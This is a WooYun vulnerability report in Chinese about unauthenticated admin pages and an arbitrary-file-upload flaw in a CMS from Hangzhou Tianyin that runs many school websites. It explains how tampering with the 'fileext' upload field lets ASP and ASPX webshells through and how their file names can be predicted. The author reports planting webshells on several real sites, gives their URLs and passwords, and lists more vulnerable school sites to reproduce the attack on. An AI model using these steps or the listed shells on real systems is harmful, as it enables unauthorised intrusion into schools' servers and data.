WooYun.org

杭州天音计算机系统工程有限公司，是一家以数字化教育理念为指导，以教育数字化技术为手段开展研发、实践、服务的高科技软件企业。公司成立于2000年，与中国各省市教育局、各师范大学、中国移动等众多单位合作紧密，被授予“年度优秀合作奖”。
百度关键字：技术支持:杭州天音计算机系统工程有限公司
疑似官网：http://www.520hzty.com，以其为例
1#管理页面未授权访问
天音CMS后台地址：http://www.520hzty.com//Manage/ mvc架构
http://www.520hzty.com//Manage/Admin/AddMenus
http://www.520hzty.com//Manage/Admin/MenusList
http://www.520hzty.com//Manage/admin/SiteSetting
http://www.520hzty.com//Manage/CheckUser/List
http://www.520hzty.com//Manage/admin/RoleList
http://www.520hzty.com/Manage/admin/ModifyPower/1
http://www.520hzty.com/Manage/admin/ModifyPower/29
http://www.520hzty.com/Manage/admin/ModifyPower/30
http://www.520hzty.com/Manage/admin/ModifyPower/31
http://www.520hzty.com/Manage/admin/ModifyPower/20
http://www.520hzty.com/Manage/AlbumInfo/List
2#文件任意上传
看这个页面http://www.520hzty.com/Manage/AlbumInfo/List
http://www.520hzty.com/Manage/Base/UpLoadImg

通过抓包可以看到,POST的字段中有个fileext，通过增加后缀名，可以达到任意上传的目的

Content-Disposition: form-data; name="fileext"
*.jpg;*.gif;*.png;*.bmp;比如*.asp;

这时候需要注意，上传jpg图片的时候，文件名被重命名为年+月+日+时+分+秒+1.jpg
比如2015+03+23+21+51+56+1.jpg，1是固定的

在这里我们需要注意，上传asp和aspx等文件时，没有返回文件名，试了好久我才发现，文件名在末位不带1，即为年+月+日+时+分+秒.asp
20150323215156.asp
20150323215156.aspx

http://www.520hzty.com/Upload/2015-03/20150323220318.asp
这个图片一句话连接不了，aspx也不行，大马也不行.最后我换了一个小马...

http://www.520hzty.com/Upload/2015-03/20150323222147.asp 密码g
结果不能用，传了个大马上去，结果不能跨目录

判断应该是该站对权限做了限制。
以下案例供复现：
http://www.dcyjw.com.cn/Manage//AlbumInfo/List
像该站，直接就返回路径了，而且一句话可连接，所以判断还是和程序的配置有关系

http://www.dcyjw.com.cn//Upload/ImgFile/2015-03/20150323224607.asp
密码1

结果我发现这个和刚才官网的那个是同服，回去看了一下上传目录，可以确定是权限的问题

http://www.hzttxx.com/Manage//AlbumInfo/List

http://www.hzttxx.com/Upload/ImgFile/2015-03/20150323225250.asp
密码1 这个asp被限制，上传aspx,getshell
http://www.hzttxx.com/Upload/ImgFile/2015-03/20150323225548.aspx
密码abcd

http://www.lhgkids.com//Manage//AlbumInfo/List

http://www.slxx.cn/manage//AlbumInfo/List
http://www.yhcxey.com//manage//AlbumInfo/List
http://www.520hzty.com//Manage/AlbumInfo/List
http://www.lanxixxxx.com/Manage/AlbumInfo/List
http://ywdtxx.com/Manage/AlbumInfo/List
http://www.fyfcsy.com//Manage/AlbumInfo/List
http://www.jsshtxx.com/Manage/AlbumInfo/List
等等，如果asp不能执行就换aspx，如果都不能就可能是服务器做了限制，传是都能传